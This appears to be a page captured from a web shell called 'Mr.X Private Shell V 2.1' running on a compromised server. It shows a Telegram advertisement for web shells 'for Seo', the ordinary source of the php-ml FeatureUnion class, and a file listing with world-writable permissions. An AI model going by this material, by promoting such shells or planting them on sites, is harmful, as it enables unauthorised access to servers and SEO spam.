__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
declare(strict_types=1);
namespace Phpml;
use Phpml\Exception\InvalidArgumentException;
final class FeatureUnion implements Transformer
{
/**
* @var Pipeline[]
*/
private $pipelines = [];
/**
* @param Pipeline[] $pipelines
*/
public function __construct(array $pipelines)
{
if ($pipelines === []) {
throw new InvalidArgumentException('At least one pipeline is required');
}
$this->pipelines = array_map(static function (Pipeline $pipeline): Pipeline {
return $pipeline;
}, $pipelines);
}
public function fit(array $samples, ?array $targets = null): void
{
$originSamples = $samples;
foreach ($this->pipelines as $pipeline) {
foreach ($pipeline->getTransformers() as $transformer) {
$transformer->fit($samples, $targets);
$transformer->transform($samples, $targets);
}
$samples = $originSamples;
}
}
public function transform(array &$samples, ?array &$targets = null): void
{
$this->transformSamples($samples, $targets);
}
public function fitAndTransform(array &$samples, ?array &$targets = null): void
{
$this->transformSamples($samples, $targets, true);
}
private function transformSamples(array &$samples, ?array &$targets = null, bool $fit = false): void
{
$union = [];
$originSamples = $samples;
foreach ($this->pipelines as $pipeline) {
foreach ($pipeline->getTransformers() as $transformer) {
if ($fit) {
$transformer->fit($samples, $targets);
}
$transformer->transform($samples, $targets);
}
foreach ($samples as $index => $sample) {
$union[$index] = array_merge($union[$index] ?? [], is_array($sample) ? $sample : [$sample]);
}
$samples = $originSamples;
}
$samples = $union;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Association | Folder | 0777 |
|
|
| Classification | Folder | 0777 |
|
|
| Clustering | Folder | 0777 |
|
|
| CrossValidation | Folder | 0777 |
|
|
| Dataset | Folder | 0777 |
|
|
| DimensionReduction | Folder | 0777 |
|
|
| Exception | Folder | 0777 |
|
|
| FeatureExtraction | Folder | 0777 |
|
|
| FeatureSelection | Folder | 0777 |
|
|
| Helper | Folder | 0777 |
|
|
| Math | Folder | 0777 |
|
|
| Metric | Folder | 0777 |
|
|
| NeuralNetwork | Folder | 0777 |
|
|
| Preprocessing | Folder | 0777 |
|
|
| Regression | Folder | 0777 |
|
|
| SupportVectorMachine | Folder | 0777 |
|
|
| Tokenization | Folder | 0777 |
|
|
| Estimator.php | File | 223 B | 0777 |
|
| FeatureUnion.php | File | 2 KB | 0777 |
|
| IncrementalEstimator.php | File | 178 B | 0777 |
|
| ModelManager.php | File | 1.3 KB | 0777 |
|
| Pipeline.php | File | 2.1 KB | 0777 |
|
| Transformer.php | File | 356 B | 0777 |
|